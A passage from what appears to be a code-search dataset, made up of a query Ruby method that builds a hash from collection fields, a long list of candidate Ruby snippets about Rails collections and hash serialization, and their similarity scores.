"def collection(collection_name)\n Collection.new(@backend, @bucket_name, @name, collection_name)\n end",
"def find_collections_for_form\n query = list_search_builder.with(q: '').query\n response = repository.search(query)\n response.documents\n end",
"def collection\n @collection ||= google_session.collection_by_title('riskcovry_uploads')\n end",
"def create\n @collection = Collection.new(collection_params)\n ensure_default_editors\n ensure_default_viewers\n authorize! :create, @collection\n flash[:notice] = 'Collection was successfully created.' if @collection.save\n respond_with(@collection)\n end",
"def collection\n conditions = conditions_from_params\n @collection ||= end_of_association_chain.find(:all, :conditions => conditions)\n end",
"def [](collection_name)\n Collection.new(self, collection_name)\n end",
"def new_input_set()\n return FindPeopleByEmailInputSet.new()\n end",
"def new\n @collection = Collection.new\n end",
"def apply_filtering(collection)\n @filters = Question.get_advanced_filter_collection(collection,true,'click')\n Question.filtering_scopes.each do |scope|\n collection = collection.filter_by(scope, filter_params[scope], \"email\") unless filter_params[scope].blank?\n end\n return collection\n end",
"def create_collection\n return if collection\n\n google_session.root_collection.create_subcollection('riskcovry_uploads')\n end",
"def set_collection\n @collection = user_collections.detect{ |c| c.id.to_s == params[:id] }\n end",
"def create\n @collection = current_user.collections.new(collection_params)\n respond_to do |format|\n if @collection.save\n format.html { redirect_to account_collections_url, notice: 'Collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @collection }\n else\n format.html { render action: 'new' }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collection\n klass.collection\n end",
"def find_or_create_collection(collection)\n\t # collection is response from sohpify api\n\t\tc = collections.find_by_shopify_collection_id(collection.id)\n \tRails.logger.debug(\"Found existing collection (#{collection.class.name}): #{c.title}\") if c\n\t\treturn c if c\n\n\t\tRails.logger.debug(\"No collection yet for this shopify collection: #{collection.inspect}\")\n\n\t\tcollections.create(\n\t\t\ttitle: collection.title,\n\t\t\tshopify_collection_id: collection.id #[:id], # Dont know what the actual id is called\n\t\t)\n\tend",
"def collection\n @collection ||= Collection.load(self.collection_url)\n end",
"def new_input_set()\n return GetCollectionInputSet.new()\n end",
"def collection\n @collection ||= load_collection\n end",
"def collection\n self.class.collection\n end",
"def collection\n self.class.collection\n end",
"def collection\n @collector.collection\n end",
"def collection_for(source, other_query=nil)\n Collection.new(source, target_model)\n end",
"def create\n # Manual load and authorize necessary because Cancan will pass in all\n # form attributes. When `permissions_attributes` are present the\n # collection is saved without a value for `has_model.`\n @collection = ::Collection.new\n authorize! :create, @collection\n # Coming from the UI, a collection type gid should always be present. Coming from the API, if a collection type gid is not specified,\n # use the default collection type (provides backward compatibility with versions < Hyrax 2.1.0)\n @collection.collection_type_gid = params[:collection_type_gid].presence || default_collection_type.gid\n @collection.id = Californica::IdGenerator.id_from_ark(collection_params[\"ark\"])\n @collection.attributes = collection_params.except(:members, :parent_id, :collection_type_gid)\n @collection.apply_depositor_metadata(current_user.user_key)\n add_members_to_collection unless batch.empty?\n @collection.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PRIVATE unless @collection.discoverable?\n if @collection.save\n after_create\n else\n after_create_error\n end\n end",
"def getCollection\n return @coll\n end",
"def find_or_new_collection(primary_id, title)\n collection_found = Collection.where(identifier_ssi: primary_id).last\n return collection_found if collection_found\n Collection.new(\n identifier: primary_id,\n title: title,\n depositor: job_owner,\n collection_type_gid: Tenejo::CsvImporter.default_collection_type.gid\n )\n end",
"def set_collection\n @collection = Collection.friendly.find params[:id]\n end",
"def find_or_create_resource_for_collection(name)\r\n find_or_create_resource_for(name.to_s.singularize)\r\n end",
"def find(*args)\n Collection.new(super, @mapped_collection)\n end",
"def collection_params\n params[:collection]\n end",
"def collection_name\n 'fields'\n end",
"def create\n collection = @current_user.collections.create\n collection.set_attributes(params)\n\n if not collection.valid?\n collection_errors(collection)\n redirect_to :back and return\n else\n collection.save\n end\n redirect_to collection_path(:id => collection.id)\n end",
"def create\n collection = @current_user.collections.create\n collection.set_attributes(params)\n \n if not collection.valid?\n collection_errors(collection)\n redirect_to :back and return\n else\n collection.save\n end\n redirect_to collection_path(:id => collection.id)\n end",
"def create\n if params[:collection]\n @collection = Collection.new( params[:collection] )\n # Check: if user submitted an id, but it is not set, there was an error\n if params[:collection][:id] && params[:collection][:id] != @collection.id\n render_json :status => :bad_request, :messages => @collection.errors.full_messages and return\n end\n\n if @user && params[:collection][:owner_id]\n if @collection.indestructible\n render_json :status => :bad_request, :messages => \"Cannot set both: owner and indestructible\" and return\n elsif params[:collection][:owner_id] != @user.guid\n render_json :status => :bad_request, :messages => \"Owner cannot be different than logged in user.\" and return\n else\n @collection.owner = @user\n end\n else\n if params[:collection][:priv]\n render_json :status => :bad_request, :messages => \"Cannot set a collection private without an owner.\" and return\n end\n end\n else\n @collection = Collection.new\n end\n @collection.client = @client\n @collection.updated_by = @user ? @user.guid : @client.id\n\n if @collection.save\n render_json :status => :created, :entry => @collection.to_hash(@user, @client) and return\n else\n render_json :status => :bad_request, :messages => @collection.errors.full_messages and return\n end\n end",
"def collection(name=nil)\n if name\n @collection = db.collection(name: name)\n else\n @collection || raise('Please give a collection name for this model')\n end\n end",
"def perform_request_with_objects_from_collection(request_method, path, options, klass, collection_name) # rubocop:disable Metrics/ParameterLists\n options = {collection_name.to_sym => options} unless options.empty?\n\n perform_request(request_method, path, options).fetch(collection_name.to_sym).collect do |element|\n klass.new(element)\n end\n end",
"def create\n @collection = Collection.new(params[:collection])\n\n # scrape each resource URL to add those fields\n @collection.collectionizes.each do |each_collectionize|\n resource_object = Resource.scrape_data(each_collectionize.resource.raw_url)\n\n each_collectionize.resource\n resource_object = Resource.scrape_data(@resource.raw_url)\n each_collectionize.resource.keywords_scraped = resource_object[:keywords_scraped] ? resource_object[:keywords_scraped] : nil\n each_collectionize.resource.description_scraped = resource_object[:description_scraped] ? resource_object[:description_scraped] : nil\n each_collectionize.resource.title_scraped = resource_object[:title_scraped] ? resource_object[:title_scraped] : nil\n each_collectionize.resource.raw_html = resource_object[:raw_html] ? resource_object[:raw_html] : nil\n end\n\n respond_to do |format|\n if @collection.save\n redirect_to @collection, notice: 'Collection was successfully created.'\n else\n render action: \"new\"\n end\n end\n end",
"def new_input_set()\n return CreateCollectionInputSet.new()\n end",
"def collection\n action_name == 'show' ? @presenter : @collection\n end",
"def collection\n @collection ||= self.db.collection(self.collection_name)\n end",
"def create\n @collection = current_user.collections.new(collection_params)\n\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, notice: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @collection = @user.collections.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection }\n end\n end",
"def submitter\n records do |instance|\n instance['submitter'] = users.where('_id': instance['submitter_id']).last\n end\n end",
"def set_collection\n @collection = Collection.friendly.find(params[:id])\n end",
"def instantiate_collection(collection)\n collection.collect! { |record| instantiate_record(record) }\n end",
"def collection\n klass.collection\n end",
"def find_or_create_resource_for_collection(name)\n find_or_create_resource_for(name.to_s.singularize)\n end",
"def search_collection!\n return if search_fields.blank?\n\n query = params[:globalSearch]\n search_resource = ApiSearchResource.new(\n fields: search_fields\n )\n self.collection = search_resource.search!(collection, query)\n end",
"def make_collection\n @resource.make_collection\n end",
"def collection_members\n return nil unless collection?\n @collection_members ||= CollectionMembers.new(\n Blacklight.solr.select(\n :params => {\n :fq => \"#{blacklight_config.collection_member_identifying_field}:\\\"#{self[SolrDocument.unique_key]}\\\"\",\n :rows => blacklight_config.collection_member_grid_items.to_s\n }\n )\n )\n end",
"def set_collection\n @collection = User.find(current_user.id).collections.find(params[:id])\n end",
"def find\n\t\tif defined?(@collection)\n\t\t\treturn @collection.find\n \tend\n\tend",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def present_collection(collection = resource); nil; end",
"def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end",
"def set_collection\n @collection = current_user.collections.find_by(id: params[:id]) if current_user\n end",
"def collection_ids\n # Get the ids of the existing collections from the form.\n collection_ids = Hash(collections_for_registration).values.map { |elem| elem.fetch(:id) }\n if collection_radio == \"create\"\n collection_ids << create_collection(model.externalIdentifier)\n elsif collection[:collection].present? # guard against empty string\n collection_ids << collection[:collection]\n end\n collection_ids\n end",
"def [](collection_name)\n collection(collection_name)\n end",
"def collection\n if @collection.kind_of? Proc\n @collection = @collection.call\n ensure_indices if @collection.kind_of? Mongo::Collection\n end\n return @collection\n end",
"def collection\n @collection ||= collection_values\n end",
"def collection(collection_name)\n default_scope.collection(collection_name)\n end",
"def collection\n database[collection_name]\n end",
"def collection(model = name.to_s.classify.constantize)\n model\n end",
"def create\n @collection = current_user.collections.build(params[:collection])\n\n # set some default values - set collection value to the number of current collections\n if Collection.where(\"name like ?\", \"%Untitled%\").count > 0\n count = Collection.where(\"name like ?\", \"%Untitled%\").order(\"created_at DESC\").first.name.sub('Untitled-Collection-','').to_i + 1\n else\n count = 1\n end\n \n @collection.name = \"Untitled-Collection-\"+count.to_s()\n @collection.user = current_user\n @collection.challenge = false\n @collection.privacy = \"unlisted\"\n\n respond_to do |format|\n if @collection.save\n @collection.update_attributes(:name => \"Untitled-Collection-\" + @collection.id.to_s)\n format.html { redirect_to @collection }\n format.json { render :json => @collection, :status => :created, :location => @collection }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @collection.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def model\n options.key?(:collection) ? call(:collection).klass : collection\n end",
"def set_collection\n @collection = Collection.find_by_friendlier_id!(params[:id])\n end",
"def create\n @users_collection = Users::Collection.new(users_collection_params)\n\n respond_to do |format|\n if @users_collection.save\n format.html { redirect_to @users_collection, notice: 'Collection was successfully created.' }\n format.json { render action: 'show', status: :created, location: @users_collection }\n else\n format.html { render action: 'new' }\n format.json { render json: @users_collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_resource\n base_collection.new\n end",
"def collection_class\n OneToMany::Collection\n end",
"def collection_class\n OneToMany::Collection\n end",
"def collection_for(source, other_query = nil)\n query = query_for(source, other_query)\n\n collection = collection_class.new(query)\n collection.relationship = self\n collection.source = source\n\n # make the collection empty if the source is not saved\n collection.replace([]) unless source.saved?\n\n collection\n end",
"def collection_for(source, other_query = nil)\n query = query_for(source, other_query)\n\n collection = collection_class.new(query)\n collection.relationship = self\n collection.source = source\n\n # make the collection empty if the source is not saved\n collection.replace([]) unless source.saved?\n\n collection\n end",
"def new_collection(query, resources = nil, &block)\n Collection.new(query, resources, &block)\n end",
"def fields_for_collection(collection_name, *args, &b)\n opts = args.extract_options!\n with_new_item = opts.delete(:new_item)\n obj_for_template = opts.delete(:template)\n\n if args.length > 0 && args.first.respond_to?(:to_ary)\n array = args.shift\n new_item_source = array.respond_to?(:build) ?\n array :\n object.send(collection_name)\n else\n array = object.send(collection_name)\n new_item_source = array\n end\n\n item_objects = Array.new(array)\n item_objects << array.build if with_new_item\n items = item_objects.map do |item_object|\n item = FieldsForItem.new(self, collection_name, item_object, opts, &b)\n item.wrap_as_item_element\n item\n end\n obj_for_template = new_item_source.build\n template_item = FieldsForItem.new(self, collection_name, obj_for_template, opts, &b)\n template_item.wrap_as_item_element\n template_item.wrap_as_new_item_template\n items << template_item\n items.map(&:content).inject{|m, content| m += (content + NEWLINE) }\n end",
"def load_collection\n model_class.all(find_options)\n end",
"def create\n @collection = Collection.new(collection_params)\n @collection.owner = User.find_by username: session[:user]\n respond_to do |format|\n if @collection.save\n format.html { redirect_to @collection, success: 'Collection was successfully created.' }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { redirect_to @collection, alert: 'Collection was not created.' }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_collection\n @collection = Collection.find(params[:collection_id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def set_collection\n @collection = Collection.find(params[:id])\n end",
"def create\n @collection = Collection.new(collection_params)\n authorize! :create, @collection\n respond_to do |format|\n if @collection.save\n format.html { redirect_to admin_collections_url, notice: \"Collection '#{@collection.title}' was successfully created.\" }\n format.json { render :show, status: :created, location: @collection }\n else\n format.html { render :new }\n format.json { render json: @collection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build(attrs, collection)\n collection.new(attrs)\n end",
"def initialize\n @coll = self.class.collection\n end",
"def perform_request_with_object_from_collection(request_method, path, options, klass, collection_name) # rubocop:disable Metrics/ParameterLists\n options = {collection_name.to_sym => options} unless options.empty?\n\n response = perform_request(request_method, path, options).fetch(collection_name.to_sym)\n klass.new(response)\n end",
"def collection\n get_collection_ivar || begin\n set_collection_ivar class_name.all\n end\n end",
"def build_collection_items\n @per_page = @view_as.max_items_per_page || 50\n @collection_results = @filter == 'editors' ? [] :\n @collection.items_from_solr(facet_type: @filter, page: @page, sort_by: @sort_by,\n per_page: @per_page,view_style: @view_as, language_id: current_language.id)\n @collection_items = @collection_results.map { |i| i['instance'] }.compact\n if params[:commit_select_all]\n @selected_collection_items = @collection_items.map { |ci| ci.id.to_s }\n end\n end",
"def set_collection\n @collection = current_user.collections.find(params[:id])\n end",
"def users\n Collection.new(klass: User, client: @client, belongs_to: self)\n end",
"def existing_collections\n query = \"select $object $title from <#ri> \" +\n \"where $object <fedora-model:label> $title \" +\n \"and $object <fedora-model:hasModel> <info:fedora/islandora:collectionCModel>\"\n\n @repository.itql(query).map{ |row| row[0] }\n end",
"def index\n @collection_users = CollectionUser.all\n end",
"def new\n @collection = @institution.collections.new\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @collection }\n end\n end"
] |
[
"0.6240948",
"0.6120814",
"0.5939363",
"0.5914665",
"0.58525014",
"0.5810176",
"0.57872456",
"0.5777817",
"0.5763885",
"0.5759058",
"0.5741854",
"0.57389927",
"0.5694836",
"0.5689586",
"0.5661559",
"0.56497306",
"0.5636249",
"0.5614387",
"0.5588594",
"0.5584143",
"0.55807054",
"0.557642",
"0.55484223",
"0.5539834",
"0.5533268",
"0.5510417",
"0.5510417",
"0.5509625",
"0.54913515",
"0.54905796",
"0.54832166",
"0.5483209",
"0.54782605",
"0.5475782",
"0.5475443",
"0.54716706",
"0.54693574",
"0.5460626",
"0.5452976",
"0.5443306",
"0.544281",
"0.5433181",
"0.5429829",
"0.5428507",
"0.54255867",
"0.5404265",
"0.53987056",
"0.53902864",
"0.5386747",
"0.5369298",
"0.53680956",
"0.53663087",
"0.53649074",
"0.53539604",
"0.5342754",
"0.53396803",
"0.5335376",
"0.5332695",
"0.5332284",
"0.5332284",
"0.5332284",
"0.53320885",
"0.5329564",
"0.5323668",
"0.5315061",
"0.5314488",
"0.53100365",
"0.53032935",
"0.5296256",
"0.5276311",
"0.5276267",
"0.5268781",
"0.52626103",
"0.5261887",
"0.52573174",
"0.5254574",
"0.5250926",
"0.5250926",
"0.52435964",
"0.52435964",
"0.5241011",
"0.5230913",
"0.5218207",
"0.5210631",
"0.52086616",
"0.5207594",
"0.5207594",
"0.5207594",
"0.5207594",
"0.52041626",
"0.5181521",
"0.51801133",
"0.51735336",
"0.5165789",
"0.51607573",
"0.51577866",
"0.513834",
"0.5137667",
"0.5128434",
"0.51270187"
] |
0.64682585
|
0
|
Converts collection fields into a hash. Similar to fields_to_hash, but collection fields do not have corresponding api field names, nor are any of them multivalued.
|
def collection_hash
collection_field_pairs = collection_fields.map do |field|
[ normalize_header(field.header), field.value ]
end
Hash[ collection_field_pairs ]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_hash\n @fields\n end",
"def to_field_hash\n to_values_hash.flatten\n end",
"def to_hash\n self.class.fields.each_with_object({}) do |key, hash|\n val = send(key)\n hash[key] = val if !val.nil?\n end\n end",
"def fields_to_hash(these_fields)\n combined_fields = combine_multivalued_fields(these_fields)\n combined_pairs = combined_fields.map do |field|\n\n # does the normalize_ case ever happen?\n key = api_field_name_for(field.header) || normalize_header(field.header)\n [ key, encode_values(field.value) ]\n end\n Hash[ combined_pairs ]\n end",
"def convertCollectionToHash(collection)\n hash = {}\n collection.each do |model|\n hash[model.id] = model\n end\n return hash\n end",
"def convertCollectionToHash(collection)\n hash = {}\n collection.each do |model|\n hash[model.id] = model\n end\n return hash\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def to_h\n @collection.to_hash\n end",
"def to_hash\n fields = %w(name slug description label_field_name order_by order_direction public_submission_enabled public_submission_accounts raw_item_template)\n\n _attributes = self.attributes.delete_if { |k, v| !fields.include?(k.to_s) || v.blank? }.deep_stringify_keys\n\n # group by\n _attributes['group_by'] = self.group_by_field.name if self.group_by_field\n\n # order by\n _attributes['order_by'] = self.order_by_field.name if self.order_by_field\n _attributes['order_by'] = 'manually' if self.order_by == '_position'\n\n # custom fields\n _attributes['fields'] = self.fields\n\n _attributes\n end",
"def fields_hash\n each_pair.to_h\n end",
"def fields_hash\n @fields_hash ||=\n begin\n field_sets_hash = Hash.new { |h, k| h[k] = Set.new }\n @types.each do |type|\n Setup.for(type).fields.each do |field|\n field_sets_hash[field.name.to_sym] << field\n end\n end\n fields_hash = {}\n field_sets_hash.each_pair do |field_name, set|\n if set.length == 1\n fields_hash[field_name] = set.to_a.first\n end\n end\n fields_hash\n end\n end",
"def to_h\n hash = {}\n self.class.field_definitions.each do |k, v|\n hash[k] = field_value k\n end\n hash\n end",
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def all_valuefield_hash\n hash = {}\n items = @all_valuefields\n for vf in items\n hash[vf] = {}\n end\n return hash\n end",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def to_hash\n record_hash = {\"leader\" => @leader, \"fields\" => []}\n @fields.each do |field|\n record_hash[\"fields\"] << field.to_hash\n end\n record_hash\n end",
"def hash\n fields.map { |field| instance_variable_get(field[:name]) }.hash\n end",
"def fields\n iterator = @form_fields.keySet.iterator\n map = {}\n while iterator.hasNext\n key = iterator.next.toString\n map[key.to_sym] = field(key)\n end\n map\n end",
"def to_hash\n fields.inject({type: type}) do |table, name|\n table.tap do\n if val = send(name)\n val = val.iso8601(3) if name == :timestamp\n table[name] = val\n end\n end\n end\n end",
"def to_input_hash\n Types::Coercible::Hash.schema(\n map { |attr| [attr.name, attr] }.to_h\n )\n end",
"def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end",
"def to_hash\n attributes\n end",
"def to_hash\n {\n :name => self[:name],\n :cms_id => self[:cms_id],\n :nqf_id => self[:nqf_id],\n :hqmf_id => self[:hqmf_id],\n :hqmf_set_id => self[:hqmf_set_id],\n :hqmf_version_number => self[:hqmf_version_number],\n :value_sets => self.value_sets_to_hashes\n }\n end",
"def to_hash\n hash = {'id' => self.id.to_s}\n for name, field in self.class.fields\n if not name.end_with?(\"_id\")\n if self.has_attribute?(name)\n value = self[field.name]\n hash.store name, value if not value.nil?\n end\n end\n end\n hash.store 'total_employee', self.total_employee\n hash.store 'total_job', self.total_job\n # hash.store 'child_departments', self.child_departments\n hash\n end",
"def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end",
"def serializable_hash\n collection? ? @object.map(&converter) : converter.call(@object)\n end",
"def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end",
"def serializable_hash\n collection? ? serializable_hash_for_collection : converter.call(@object)\n end",
"def get_flexi_fields_map\n self._flexi_fields_map ||=\n Hash[get_flexi_collection.fields.\n map { |_field| [_field.name.to_sym, _field] }]\n end",
"def to_hash\n self.class.attributes.inject({}) { |memo, name| memo[name] = send(name); memo }\n end",
"def to_hash\n result = { }\n\n # id\n result['_id'] = @_id if @_id\n\n # timestamp\n result['at'] = @at\n\n # kind\n result['kind'] = kind.to_s\n\n # entities\n @entities.each do |entity_name, entity|\n result[entity_name.to_s] = entity.model_id\n end\n\n # meta\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end",
"def normalize_fields\n new_fields = CICPHash.new\n fields.each do |key, value|\n new_fields[key] = ApeItem.create(key, value).normalize_encodings\n end\n @fields = new_fields\n end",
"def to_hash\n HashWithIndifferentAccess.new.tap do |hash|\n self.class.schema.each_key do |key|\n next if (value = self[key]).blank?\n value =\n case value\n when Array; value.map {|item| item.respond_to?(:to_hash) ? item.to_hash : item }\n else ; value.respond_to?(:to_hash) ? value.to_hash : value\n end\n hash[key] = value if value.present?\n end\n end\n end",
"def model_fields\n ActiveSupport::OrderedHash.new.tap do |hash|\n properties.map do |u|\n hash[u.name] = TYPES.fetch properties.find{|property| property.name == u.name}.primitive\n end\n end\n end",
"def to_hash\n attributes.dup\n end",
"def to_hash\n\t\t\tmapper = self.class.map || {}\t\t\t \n\n\t\t\tto_ret = {}\n\t\t\tto_ret[ mapper[:filters] || \"Filters\" ]= { \"StaffFilter\" => @filters} if @filters\n\t\t\tto_ret[ mapper[:staff_ids] || \"StaffIDs\" ]= { \"int\" => @staff_ids} if @staff_ids\n\t\t\tto_ret\n\t\tend",
"def to_hash\n {\n field_name: @field_name,\n operator: @operator,\n values: @values\n }\n end",
"def as_data_hash\n data_hash = { \"collection\" => collection.as_json }\n if paginated?\n data_hash[\"total_entries\"] = total_entries\n data_hash[\"page\"] = current_page\n data_hash[\"per_page\"] = per_page\n data_hash[\"total_pages\"] = total_pages\n end\n data_hash\n end",
"def to_hash\n hash = {}\n\n instance_variables.each do |var|\n key = var.to_s.delete(\"@\").to_sym\n val = instance_variable_get(var)\n\n if authlete_model_simple_attribute?(key) or val.nil?\n hash[key] = val\n elsif TAGGED_VALUE_ARRAY_ATTRIBUTES.include?(key)\n hash[key] = val.map { |element| element.to_hash }\n elsif key == :extension\n # For attributes such as :extension\n hash[key] = val.to_hash\n end\n end\n\n hash\n end",
"def to_h\n hash = {}\n attributes.each_pair do |key, value|\n hash[key] = deep_unwrap(value)\n end\n\n return hash\n end",
"def to_hash\n @fields.delete_if {|key,val| val.nil?}\n h = {\n :type => @type,\n :id => @id,\n :version => @version\n }\n\n unless @type == 'delete'\n h[:fields] = @fields \n h[:lang] = @lang\n end\n\n h \n end",
"def collect_as_hash\n Hash[collect]\n end",
"def to_hash\n hash = {}; self.attributes.each { |k,v| hash[k] = v }\n end",
"def jsonapi_fields\n return {} unless params[:fields].respond_to?(:each_pair)\n\n if defined?(ActiveSupport::HashWithIndifferentAccess)\n extracted = ActiveSupport::HashWithIndifferentAccess.new\n else\n extracted = Hash.new\n end\n\n params[:fields].each do |k, v|\n extracted[k] = v.to_s.split(',').map(&:strip).compact\n end\n\n extracted\n end",
"def assignable_fields\n names = fields.map{|f| f.fetch \"name\" }\n to_values = fields.map{|f| f.fetch \"to\" }\n Hash[names.zip(to_values)]\n end",
"def hash\n [name, type, sub_attributes, multi_valued, description, required, canonical_values, case_exact, mutability, returned, uniqueness, reference_types].hash\n end",
"def to_h\n data = super\n data[:convert] = data.delete(:converter)\n data.stringify_keys\n end",
"def to_hash\n Hash[self.class.attributes.map {|attr| [attr, send(attr)]}]\n end",
"def to_hash(clean = false)\n h = {}\n #h[:index] = index\n each_pair do |name, value|\n if !clean or !self.class.internal_field?(name)\n h[name] = value\n end\n end\n h\n end",
"def attributes\n self.class.fields.inject({}) do |attribute_hash, field|\n attribute_hash[field] = send(field)\n attribute_hash\n end\n end",
"def to_hash\n hash = super\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = super\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n { name => items.collect(&:to_hash) }\n end",
"def to_hash\n @relations.each_with_object({}) do |(rel,val), obj|\n rel = rel.to_s\n\n hashed_val = val.map(&:to_hash)\n if val.length == 1 && !single_item_arrays?\n hashed_val = val.first.to_hash\n end\n\n obj[rel] = hashed_val\n end\n end",
"def mongoize\n ::Hash.mongoize(self)\n end",
"def to_hash\n self.class.attribute_names.inject({}) do |hash, key|\n hash[key] = self.send(key); hash\n end\n end",
"def to_hash(options={})\n data = data_object(@_data)\n if is_record?(data) || !data # object @user\n Rabl::Builder.new(@_data, @_options).to_hash(options)\n elsif data.respond_to?(:each) # collection @users\n object_name = data_name(@_data).to_s.singularize # @users => :users\n data.map { |object| Rabl::Builder.new({ object => object_name }, @_options).to_hash(options) }\n end\n end",
"def to_hash\n hash = super.delete_if { |k, v| %w(name position).include?(k) }\n\n # class_name is chosen over class_slug\n if self.is_relationship?\n hash['class_name'] ||= hash['class_slug']\n hash.delete('class_slug')\n end\n\n # select options\n if self.type == :select\n hash['select_options'] = self.select_options_to_hash\n end\n\n { self.name => hash }\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n hash = {}\n self.class.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = self.class.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def to_hash\n @attributes\n end",
"def to_hash\n hash = {}\n HyperflexStorageContainerAllOf.attribute_map.each_pair do |attr, param|\n value = self.send(attr)\n if value.nil?\n is_nullable = HyperflexStorageContainerAllOf.openapi_nullable.include?(attr)\n next if !is_nullable || (is_nullable && !instance_variable_defined?(:\"@#{attr}\"))\n end\n\n hash[param] = _to_hash(value)\n end\n hash\n end",
"def attribute_map\n attribute_hash = {}\n embeds = embedded_relations.keys\n fields.reject do |k, _v|\n k =~ /^_id|created_at|updated_at|record_status$/ ||\n embeds.include?(k)\n end.each do |k, _v|\n attribute_hash[k.to_sym] = k.to_sym\n end\n attribute_hash\n end",
"def serialize\n hash = {}\n self.class::ATTRIBUTES.keys.each do |attr|\n spec = self.class::ATTRIBUTES[attr].to_h\n type = spec[:type]\n value = send(attr)\n\n if value.nil?\n hash[attr] = nil\n elsif type == TYPE_OBJECT\n hash[attr] = value.serialize\n elsif type == TYPE_OBJECT_ARRAY\n hash[attr] = value.map{ |e| e.serialize }\n else\n hash[attr] = value\n end\n end\n\n return hash\n end",
"def to_mongo_value\n h = {}\n self.class.column_names.each {|iv|\n val = read_attribute(iv)\n h[iv] = val == nil ? nil : val.to_mongo_value\n }\n h\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def fields\n @fields ||= {}\n end",
"def to_h\n Utils.deep_dup @attributes\n end",
"def to_hash\n h = {}\n self.all_redis_objects.each do |o|\n field = o[0]\n redis_type = o[1][:type] \n case redis_type\n when :value\n h[field] = try_a_number(self.method(field).call.value)\n when :set\n h[field] = self.method(field).call.members.map{ |x| try_a_number(x) }\n end\n end\n h\n end",
"def to_hash\n @data.inject({}) do |ac,(k,v)|\n ac.merge! k => ((v.kind_of? self.class) ? v.to_hash : v)\n end\n end",
"def to_hash\n @attributes\n end",
"def to_hash\n hash = {}\n self.attributes.each {|attr| hash[attr.to_sym] = self.send(attr)}\n hash\n end",
"def to_hash()\n return {\n id: @id,\n name: @name,\n contact: @contact,\n post_code: @post_code,\n }\n end",
"def to_hash\n {}.tap do |hash|\n _attributes.each do |key, value|\n if key == :data\n hash.merge!(value)\n else\n hash[key] = value.respond_to?(:to_hash) ? value.to_hash : value\n end\n end\n end\n end",
"def to_h\n each_with_object({}) { |attr, h| h[attr.name] = attr }\n end",
"def fields=(fields)\n @fields = ::ActiveSupport::HashWithIndifferentAccess.new fields\n end",
"def to_hash\n @attributes\n end",
"def defect_to_hash(input)\n Hash[ input[\"Fields\"][\"Field\"].\n map{ |x| [nice_name[x[\"Name\"]],x[\"Value\"]] }.\n reject{ |x,y| y.empty? or y == \"None\" }\n ]\n end",
